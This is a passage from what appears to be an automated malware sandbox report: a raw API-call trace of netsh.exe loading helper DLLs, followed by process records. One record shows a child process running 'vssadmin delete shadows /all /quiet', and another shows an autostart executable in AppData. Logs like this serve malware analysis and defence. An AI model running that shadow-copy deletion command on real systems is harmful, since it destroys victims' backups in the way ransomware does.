(HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880ca0 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880f60 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b881320 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8811e0 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880ce0 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880d00 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880d40 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8813a0 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8811c0 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880d60 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880d80 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8813e0 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880e20 [0052.714] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0052.714] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x28) returned 0x1718b8788c0 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x2) returned 0x1718b87db00 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x14) returned 0x1718b880de0 [0052.715] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0052.715] GetProcessHeap () returned 0x1718b870000 [0052.715] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x0) returned 1 [0052.715] GetProcessHeap () returned 0x1718b870000 [0052.715] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x58) returned 0x1718b8756c0 [0052.715] GetProcessHeap () returned 0x1718b870000 [0052.715] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x0) returned 1 [0052.715] GetProcessHeap () returned 0x1718b870000 [0052.715] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0xb0) returned 0x1718b875040 [0052.715] GetProcessHeap () returned 0x1718b870000 [0052.715] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b8756c0) returned 1 [0052.715] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-0.dll", hFile=0x0, dwFlags=0x8) returned 0x7ff92e3f0000 [0052.717] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x38e79177e8 | out: phkResult=0x38e79177e8*=0xb4) returned 0x0 [0052.717] RegQueryInfoKeyW (in: hKey=0xb4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x38e7917820, lpcbMaxValueNameLen=0x38e7917830, lpcbMaxValueLen=0x38e7917828, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x38e7917820*=0x14, lpcbMaxValueNameLen=0x38e7917830, lpcbMaxValueLen=0x38e7917828, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.717] GetProcessHeap () returned 0x1718b870000 [0052.717] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x8, Size=0x16) returned 0x1718b881080 [0052.717] GetProcessHeap () returned 0x1718b870000 [0052.717] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x8, Size=0x23) returned 0x1718b878650 [0052.717] RegEnumValueW (in: hKey=0xb4, dwIndex=0x0, lpValueName=0x1718b881080, lpcchValueName=0x38e79177e0, lpReserved=0x0, lpType=0x0, lpData=0x1718b878650, lpcbData=0x38e7917838 | out: lpValueName="2", lpcchValueName=0x38e79177e0, lpType=0x0, lpData=0x1718b878650, lpcbData=0x38e7917838) returned 0x0 [0052.717] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10 [0052.717] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10 [0052.717] GetProcessHeap () returned 0x1718b870000 [0052.717] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x50) returned 0x1718b881bd0 [0052.717] GetProcessHeap () returned 0x1718b870000 [0052.717] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x4) returned 0x1718b87db50 [0052.717] GetProcessHeap () returned 0x1718b870000 [0052.717] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x14) returned 0x1718b881120 [0052.717] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL" [0052.717] GetProcessHeap () returned 0x1718b870000 [0052.717] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b8788c0) returned 1 [0052.717] LoadLibraryExW (lpLibFileName="IFMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff912430000 [0054.217] GetProcAddress (hModule=0x7ff912430000, lpProcName="InitHelperDll") returned 0x7ff912431310 [0054.217] InitHelperDll () returned 0x0 [0054.219] RegisterHelper () returned 0x0 [0054.219] GetProcessHeap () returned 0x1718b870000 [0054.219] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x108) returned 0x1718b8742f0 [0054.219] GetProcessHeap () returned 0x1718b870000 [0054.219] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b875040) returned 1 [0055.514] RegEnumValueW (in: hKey=0xb4, dwIndex=0x1, lpValueName=0x1718b881080, lpcchValueName=0x38e79177e0, lpReserved=0x0, lpType=0x0, lpData=0x1718b878650, lpcbData=0x38e7917838 | out: lpValueName="4", lpcchValueName=0x38e79177e0, lpType=0x0, lpData=0x1718b878650, lpcbData=0x38e7917838) returned 0x0 [0055.514] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0055.514] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0055.514] GetProcessHeap () returned 0x1718b870000 [0055.514] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x78) returned 0x1718b875040 [0055.514] GetProcessHeap () returned 0x1718b870000 [0055.514] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x4) returned 0x1718b87dc20 [0055.514] GetProcessHeap () returned 0x1718b870000 [0055.514] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x1a) returned 0x1718b8786b0 [0055.514] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0055.514] GetProcessHeap () returned 0x1718b870000 [0055.514] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b881bd0) returned 1 [0055.514] LoadLibraryExW (lpLibFileName="RASMONTR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff911a60000 [0058.071] LoadLibraryExA (lpLibFileName="MSVCRT.DLL", hFile=0x0, dwFlags=0x800) returned 0x7ff931a40000 [0058.089] GetVersion () returned 0x3ad7000a [0058.089] SetErrorMode (uMode=0x0) returned 0x0 [0058.089] SetErrorMode (uMode=0x8001) returned 0x0 [0058.089] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x1718b893050 [0058.089] LocalFree (hMem=0x1718b893050) returned 0x0 [0058.089] GetVersion () returned 0x3ad7000a [0058.090] GlobalLock (hMem=0x1718b970008) returned 0x1718b893050 [0058.090] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x1718b893270 [0058.091] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1718b889930 [0058.091] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x1718b881220 [0058.091] malloc (_Size=0x100) returned 0x1718bae6df0 [0058.091] __dllonexit () returned 0x7ff9117b1200 [0058.091] __dllonexit () returned 0x7ff9117b11f0 [0058.091] __dllonexit () returned 0x7ff9117b1240 [0058.091] __dllonexit () returned 0x7ff9117b12a0 [0058.091] __dllonexit () returned 0x7ff9117b1390 [0058.092] __dllonexit () returned 0x7ff9117b13a0 [0058.092] __dllonexit () returned 0x7ff9117b1420 [0058.092] __dllonexit () returned 0x7ff9117b14c0 [0058.092] __dllonexit () returned 0x7ff9117b12c0 [0058.092] __dllonexit () returned 0x7ff9117d59c0 [0058.092] __dllonexit () returned 0x7ff9117b12e0 [0058.092] __dllonexit () returned 0x7ff9117b1470 [0058.092] __dllonexit () returned 0x7ff9117b1490 [0058.092] __dllonexit () returned 0x7ff9117b14e0 [0058.092] __dllonexit () returned 0x7ff9117b1500 [0058.092] __dllonexit () returned 0x7ff9117b1520 [0058.092] __dllonexit () returned 0x7ff9117b1550 [0058.092] __dllonexit () returned 0x7ff9117b1610 [0058.093] __dllonexit () returned 0x7ff9117b1050 [0058.093] __dllonexit () returned 0x7ff9117b1070 [0058.093] __dllonexit () returned 0x7ff9117b1030 [0058.425] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc16b [0058.425] __dllonexit () returned 0x7ff9117d59a0 [0058.425] __dllonexit () returned 0x7ff9117d5980 [0058.425] __dllonexit () returned 0x7ff9117d59b0 [0058.425] __dllonexit () returned 0x7ff9117d5990 [0058.425] GetVersion () returned 0x3ad7000a [0058.425] GetVersion () returned 0x3ad7000a [0058.425] GetVersion () returned 0x3ad7000a [0058.425] __dllonexit () returned 0x7ff9117c28e0 [0058.426] __dllonexit () returned 0x7ff9117c2910 [0058.426] __dllonexit () returned 0x7ff9117b1300 [0058.426] __dllonexit () returned 0x7ff9117b13b0 [0058.426] __dllonexit () returned 0x7ff9117b13d0 [0058.426] __dllonexit () returned 0x7ff9117c26e0 [0058.426] GetVersion () returned 0x3ad7000a [0058.426] GetProcessVersion (ProcessId=0x0) returned 0xa0000 [0058.426] GetSystemMetrics (nIndex=11) returned 32 [0058.426] GetSystemMetrics (nIndex=12) returned 32 [0058.426] GetSystemMetrics (nIndex=2) returned 17 [0058.426] GetSystemMetrics (nIndex=3) returned 17 [0058.426] GetDC (hWnd=0x0) returned 0x60100ce [0058.426] GetDeviceCaps (hdc=0x60100ce, index=88) returned 96 [0058.427] GetDeviceCaps (hdc=0x60100ce, index=90) returned 96 [0058.427] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0058.427] GetSysColor (nIndex=15) returned 0xf0f0f0 [0058.427] GetSysColor (nIndex=16) returned 0xa0a0a0 [0058.427] GetSysColor (nIndex=20) returned 0xffffff [0058.427] GetSysColor (nIndex=18) returned 0x0 [0058.427] GetSysColor (nIndex=6) returned 0x646464 [0058.427] GetSysColorBrush (nIndex=15) returned 0x100072 [0058.427] GetSysColorBrush (nIndex=6) returned 0x10007a [0058.427] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0058.427] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0058.427] __dllonexit () returned 0x7ff9117b1450 [0058.427] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc16e [0058.427] __dllonexit () returned 0x7ff9117c26c0 [0058.427] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0058.427] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0058.427] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0058.428] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0058.428] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0058.428] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0058.428] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0058.428] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0058.428] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0058.428] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0058.428] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc07a [0058.428] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc083 [0058.428] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc16e [0058.428] __dllonexit () returned 0x7ff9117d59d0 [0058.428] __dllonexit () returned 0x7ff9117d59f0 [0058.429] __dllonexit () returned 0x7ff9117d5a00 [0058.429] __dllonexit () returned 0x7ff9117d5a10 [0058.429] __dllonexit () returned 0x7ff9117d5a20 [0058.429] GetCursorPos (in: lpPoint=0x7ff9118f5ae8 | out: lpPoint=0x7ff9118f5ae8*(x=453, y=300)) returned 1 [0058.429] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1718b891730 [0058.430] LocalReAlloc (hMem=0x1718b881220, uBytes=0x18, uFlags=0x2) returned 0x1718b8753a0 [0058.430] GetCurrentThread () returned 0xfffffffffffffffe [0058.430] GetCurrentThreadId () returned 0xd68 [0058.430] __dllonexit () returned 0x7ff9117b1620 [0058.430] SetErrorMode (uMode=0x0) returned 0x8001 [0058.430] SetErrorMode (uMode=0x8001) returned 0x0 [0058.430] GetModuleFileNameW (in: hModule=0x7ff9117b0000, lpFilename=0x38e79167c0, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\system32\\MFC42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll")) returned 0x1e [0058.430] wcscpy_s (in: _Destination=0x38e79169d0, _SizeInWords=0x104, _Source="MFC42u" | out: _Destination="MFC42u") returned 0x0 [0058.430] FindResourceW (hModule=0x7ff9117b0000, lpName=0xe01, lpType=0x6) returned 0x1718b860bb0 [0058.468] LoadStringW (in: hInstance=0x7ff9117b0000, uID=0xe000, lpBuffer=0x38e7916be0, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0058.468] wcscpy_s (in: _Destination=0x38e79167f4, _SizeInWords=0x5, _Source=".HLP" | out: _Destination=".HLP") returned 0x0 [0058.468] wcscat_s (in: _Destination="MFC42u", _SizeInWords=0x104, _Source=".INI" | out: _Destination="MFC42u.INI") returned 0x0 [0058.470] malloc (_Size=0x80) returned 0x1718bae6e10 [0058.470] LocalAlloc (uFlags=0x40, uBytes=0x2100) returned 0x1718b8935c0 [0058.470] GetSystemDirectoryA (in: lpBuffer=0x38e7916e60, uSize=0x112 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0058.471] strcat_s (in: _Destination="C:\\WINDOWS\\system32", _SizeInBytes=0x112, _Source="\\MFC42" | out: _Destination="C:\\WINDOWS\\system32\\MFC42") returned 0x0 [0058.471] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42", _SizeInBytes=0x112, _Source="LOC" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC") returned 0x0 [0058.471] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42LOC", _SizeInBytes=0x112, _Source=".DLL" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC.DLL") returned 0x0 [0058.471] LoadLibraryExA (lpLibFileName="C:\\WINDOWS\\system32\\MFC42LOC.DLL", hFile=0x0, dwFlags=0x2) returned 0x0 [0058.636] GetProcAddress (hModule=0x7ff911a60000, lpProcName="InitHelperDll") returned 0x7ff911a75850 [0058.636] InitHelperDll () returned 0x0 [0058.638] RegisterHelper () returned 0x0 [0058.638] GetProcessHeap () returned 0x1718b870000 [0058.638] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x160) returned 0x1718b88abc0 [0058.638] GetProcessHeap () returned 0x1718b870000 [0058.638] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b8742f0) returned 1 [0058.638] RegisterHelper () returned 0x0 [0058.638] GetProcessHeap () returned 0x1718b870000 [0058.638] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x1b8) returned 0x1718b88ced0 [0058.638] GetProcessHeap () returned 0x1718b870000 [0058.638] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b88abc0) returned 1 [0058.640] RegisterHelper () returned 0x0 [0058.640] GetProcessHeap () returned 0x1718b870000 [0058.640] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x210) returned 0x1718b88abc0 [0058.640] GetProcessHeap () returned 0x1718b870000 [0058.640] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b88ced0) returned 1 [0058.640] RegisterHelper () returned 0x0 [0058.640] GetProcessHeap () returned 0x1718b870000 [0058.640] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x268) returned 0x1718b88ced0 [0058.640] GetProcessHeap () returned 0x1718b870000 [0058.640] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b88abc0) returned 1 [0058.640] RegisterHelper () returned 0x0 [0058.640] GetProcessHeap () returned 0x1718b870000 [0058.640] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x2c0) returned 0x1718b88abc0 [0058.640] GetProcessHeap () returned 0x1718b870000 [0058.640] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b88ced0) returned 1 [0058.641] RegEnumValueW (in: hKey=0xb4, dwIndex=0x2, lpValueName=0x1718b881080, lpcchValueName=0x38e79177e0, lpReserved=0x0, lpType=0x0, lpData=0x1718b878650, lpcbData=0x38e7917838 | out: lpValueName="authfwcfg", lpcchValueName=0x38e79177e0, lpType=0x0, lpData=0x1718b878650, lpcbData=0x38e7917838) returned 0x0 [0058.641] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxmontr.dll") returned -8 [0058.641] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxpromn.dll") returned -8 [0058.641] GetProcessHeap () returned 0x1718b870000 [0058.641] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0xa0) returned 0x1718b8752e0 [0058.641] GetProcessHeap () returned 0x1718b870000 [0058.641] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x14) returned 0x1718b880e00 [0058.641] GetProcessHeap () returned 0x1718b870000 [0058.641] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x1c) returned 0x1718b8897e0 [0058.641] _wcsupr (in: _String="authfwcfg.dll" | out: _String="AUTHFWCFG.DLL") returned="AUTHFWCFG.DLL" [0058.641] GetProcessHeap () returned 0x1718b870000 [0058.641] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b875040) returned 1 [0058.641] LoadLibraryExW (lpLibFileName="AUTHFWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff911730000 [0059.807] GetProcAddress (hModule=0x7ff911730000, lpProcName="InitHelperDll") returned 0x7ff911731430 [0059.807] InitHelperDll () returned 0x0 [0059.831] RegisterHelper () returned 0x0 [0059.831] GetProcessHeap () returned 0x1718b870000 [0059.831] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x318) returned 0x1718b88ced0 [0059.831] GetProcessHeap () returned 0x1718b870000 [0059.831] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b88abc0) returned 1 [0059.831] RegisterHelper () returned 0x0 [0059.831] GetProcessHeap () returned 0x1718b870000 [0059.831] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x370) returned 0x1718b895ee0 [0059.831] GetProcessHeap () returned 0x1718b870000 [0059.831] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b88ced0) returned 1 [0059.832] RegisterHelper () returned 0x0 [0059.832] GetProcessHeap () returned 0x1718b870000 [0059.832] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x3c8) returned 0x1718b896260 [0059.832] GetProcessHeap () returned 0x1718b870000 [0059.832] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b895ee0) returned 1 [0059.832] RegisterHelper () returned 0x0 [0059.832] GetProcessHeap () returned 0x1718b870000 [0059.832] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x420) returned 0x1718b896630 [0059.832] GetProcessHeap () returned 0x1718b870000 [0059.832] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b896260) returned 1 [0059.832] RegisterHelper () returned 0x0 [0059.832] GetProcessHeap () returned 0x1718b870000 [0059.832] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x478) returned 0x1718b895ee0 [0059.832] GetProcessHeap () returned 0x1718b870000 [0059.832] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b896630) returned 1 [0059.832] RegEnumValueW (in: hKey=0xb4, dwIndex=0x3, lpValueName=0x1718b881080, lpcchValueName=0x38e79177e0, lpReserved=0x0, lpType=0x0, lpData=0x1718b878650, lpcbData=0x38e7917838 | out: lpValueName="dhcpclient", lpcchValueName=0x38e79177e0, lpType=0x0, lpData=0x1718b878650, lpcbData=0x38e7917838) returned 0x0 [0059.832] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxmontr.dll") returned -5 [0059.832] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxpromn.dll") returned -5 [0059.832] GetProcessHeap () returned 0x1718b870000 [0059.832] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0xc8) returned 0x1718b888ef0 [0059.832] GetProcessHeap () returned 0x1718b870000 [0059.832] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x16) returned 0x1718b895900 [0059.832] GetProcessHeap () returned 0x1718b870000 [0059.832] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x22) returned 0x1718b8895d0 [0059.832] _wcsupr (in: _String="dhcpcmonitor.dll" | out: _String="DHCPCMONITOR.DLL") returned="DHCPCMONITOR.DLL" [0059.832] GetProcessHeap () returned 0x1718b870000 [0059.832] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b8752e0) returned 1 [0059.832] LoadLibraryExW (lpLibFileName="DHCPCMONITOR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff911720000 [0061.189] GetProcAddress (hModule=0x7ff911720000, lpProcName="InitHelperDll") returned 0x7ff911721610 [0061.189] InitHelperDll () returned 0x0 [0061.189] RegisterHelper () returned 0x0 [0061.189] GetProcessHeap () returned 0x1718b870000 [0061.189] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x4d0) returned 0x1718b896b70 [0061.189] GetProcessHeap () returned 0x1718b870000 [0061.189] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b895ee0) returned 1 [0061.189] RegEnumValueW (in: hKey=0xb4, dwIndex=0x4, lpValueName=0x1718b881080, lpcchValueName=0x38e79177e0, lpReserved=0x0, lpType=0x0, lpData=0x1718b878650, lpcbData=0x38e7917838 | out: lpValueName="dot3cfg", lpcchValueName=0x38e79177e0, lpType=0x0, lpData=0x1718b878650, lpcbData=0x38e7917838) returned 0x0 [0061.189] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxmontr.dll") returned -5 [0061.189] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxpromn.dll") returned -5 [0061.190] GetProcessHeap () returned 0x1718b870000 [0061.190] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0xf0) returned 0x1718b8742f0 [0061.190] GetProcessHeap () returned 0x1718b870000 [0061.190] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8957e0 [0061.190] GetProcessHeap () returned 0x1718b870000 [0061.190] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x18) returned 0x1718b895800 [0061.190] _wcsupr (in: _String="dot3cfg.dll" | out: _String="DOT3CFG.DLL") returned="DOT3CFG.DLL" [0061.190] GetProcessHeap () returned 0x1718b870000 [0061.190] RtlFreeHeap (HeapHandle=0x1718b870000, Flags=0x0, BaseAddress=0x1718b888ef0) returned 1 [0061.200] LoadLibraryExW (lpLibFileName="DOT3CFG.DLL", hFile=0x0, dwFlags=0x0) Thread: id = 37 os_tid = 0xee0 Thread: id = 39 os_tid = 0x714 Thread: id = 40 os_tid = 0x8e8 Process: id = "8" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x510f7000" os_pid = "0x39c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xf7c" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0x344 Thread: id = 38 os_tid = 0x388 Thread: id = 41 os_tid = 0x1008 Thread: id = 42 os_tid = 0x100c Thread: id = 43 os_tid = 0x1010 Process: id = "9" image_name = "ph_exec.exe1.exe" filename = "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe" page_root = "0x1e753000" os_pid = "0xe34" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001185d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 44 os_tid = 0xe38 [0141.559] GetStartupInfoW (in: lpStartupInfo=0x55fe64 | out: lpStartupInfo=0x55fe64*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0141.559] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0141.559] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x23a0000 [0141.610] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0141.611] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsAlloc") returned 0x75c04ae0 [0141.611] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsGetValue") returned 0x75c04b20 [0141.611] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsSetValue") returned 0x75c04b40 [0141.611] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsFree") returned 0x75c04b00 [0141.612] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, 